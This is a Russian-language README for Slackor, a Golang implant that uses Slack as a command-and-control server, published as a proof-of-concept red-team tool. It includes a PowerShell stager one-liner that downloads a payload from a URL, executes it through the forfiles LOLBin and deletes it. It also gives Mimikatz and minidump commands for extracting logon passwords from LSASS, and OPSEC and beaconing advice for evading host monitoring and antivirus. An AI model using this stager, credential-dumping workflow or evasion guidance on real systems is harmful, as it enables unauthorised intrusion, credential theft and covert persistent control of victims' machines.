
Имплант на Golang, использующий Slack в качестве сервера управления и контроля
Поддерживается на https://github.com/n00py/Slackor
Имплант на Golang, использующий Slack в качестве канала управления и команд (C2).
Этот проект был вдохновлён Gcat и Twittor.
Этот инструмент выпущен как доказательство концепции. Обязательно прочитайте и поймите Политику разработчика приложений Slack перед созданием любых приложений Slack.
Примечание: сервер написан на Python 3
Для работы вам потребуется:
Рабочее пространство Slack
Зарегистрировать приложение со следующими разрешениями:
Создать бота
Этот репозиторий содержит пять файлов:
install.sh Устанавливает зависимостиsetup.py Скрипт для создания каналов Slack, базы данных и имплантаagent.py Скрипт для генерации новых имплантовserver.py Сервер Slackor, предназначенный для запуска на Linuxagent.go Имплант на Golangrequirements.txt Зависимости Python (устанавливаются автоматически)Чтобы начать:
go get github.com/Coalfire-Research/Slackorcd $GOPATH/src/github.com/Coalfire-Research/Slackorinstall.shsetup.py
После успешного выполнения скрипта в каталоге dist/ будут созданы несколько файлов:
agent.windows.exe: 64-битный бинарник для Windowsagent.upx.exe: 64-битный бинарник для Windows, упакованный UPXagent.darwin: 64-битный бинарник для macOSagent.32.linux: 32-битный бинарник для Linuxagent.64.linux: 64-битный бинарник для LinuxПосле запуска server.py на хосте Linux выполните тот агент из перечисленных выше, который подходит для вашей целевой системы.
Запустите модуль "stager", чтобы сгенерировать однострочную команду и другие дропперы.
powershell.exe iwr [URL] -o C:\Users\Public\[NAME].exe; forfiles.exe /p c:\windows\system32 /m svchost.exe /c C:\Users\Public\[NAME]; timeout 2; del C:\Users\Public\[NAME].exe
Это выполнит InvokeWebRequest (PS v.3+) для загрузки полезной нагрузки, запустит её с помощью LOLBin, а затем удалит себя после завершения. Это рабочий пример, но команду можно изменить для использования другого метода загрузки или выполнения.
Введите "help" или нажмите [TAB], чтобы увидеть список доступных команд. Введите "help [COMMAND]", чтобы увидеть описание этой команды.
(Slackor)
Когда агент подключается, вы можете взаимодействовать с ним. Используйте "interact [AGENT]" для входа в режим взаимодействия с агентом. Введите "help" или нажмите [TAB], чтобы увидеть список доступных команд.
(Slackor:AGENT)
Вывод команд и загруженные файлы шифруются с помощью AES в дополнение к транспортному шифрованию TLS Slack.
Модули предупредят вас перед выполнением задач, которые записывают на диск.
При выполнении команд оболочки обратите внимание, что будут запущены cmd.exe/bash. Это может отслеживаться на хосте.
Вот несколько безопасных с точки зрения OPSEC команд, которые НЕ будут выполнять cmd.exe/bash:
Безопасно ли это использовать для красных команд/пентеста?
Да, при соблюдении некоторых условий. Хотя данные шифруются при передаче, агент содержит ключ для дешифрования. Любой, кто получит копию агента, сможет провести реверс-инжиниринг и извлечь ключи API и секретный ключ AES. Любой, кто скомпрометирует или иным образом получит доступ к рабочему пространству, сможет получить все данные внутри него. По этой причине не рекомендуется повторно использовать инфраструктуру против нескольких организаций.
А как насчёт Mimikatz?
Имплант не имеет функциональности извлечения паролей из памяти. Если вам нужны logonPasswords, вы можете попробовать следующее:
(Slackor: AGENT)minidump
Это автоматически извлечёт пароли с помощью Pypykatz. В качестве альтернативы вы можете использовать Mimikatz на Windows.
>mimikatz.exe
mimikatz # sekurlsa::Minidump lsassdump.dmp
mimikatz # sekurlsa::logonPasswords
Является ли он кроссплатформенным?
Он имеет ограниченную кроссплатформенную поддержку. Он не был полностью протестирован на всех системах, на которых может работать. Сервер разработан для работы на Kali Linux. Агент компилируется для Windows, Mac и Linux, но в основном тестировался на Windows 10. Агенты могут неправильно обрабатывать команды, не поддерживаемые платформой этого агента (не пытайтесь сделать minidump на Mac).
Насколько хорошо он масштабируется?
Масштабируемость ограничена API Slack. Если у вас несколько агентов, рассмотрите возможность увеличения интервала маяков (beacon) для неиспользуемых агентов.
Уязвим ли он для стандартного анализа маяков?
В настоящее время каждый маяк имеет встроенный джиттер 20%, а время маяков можно настраивать. Пакеты запросов и ответов агента будут примерно одинакового размера каждый раз, пока не будут получены новые команды.
Почему вы сделали [x], если есть лучший способ [y]?
Я старался изо всех сил. PR приветствуются :)
Антивирус его ловит!
Поскольку теперь это открытый исходный код, у него неизбежно будут проблемы. Я буду исправлять модули по мере возможности, но нет гарантии, что это всегда будет обходить все антивирусы.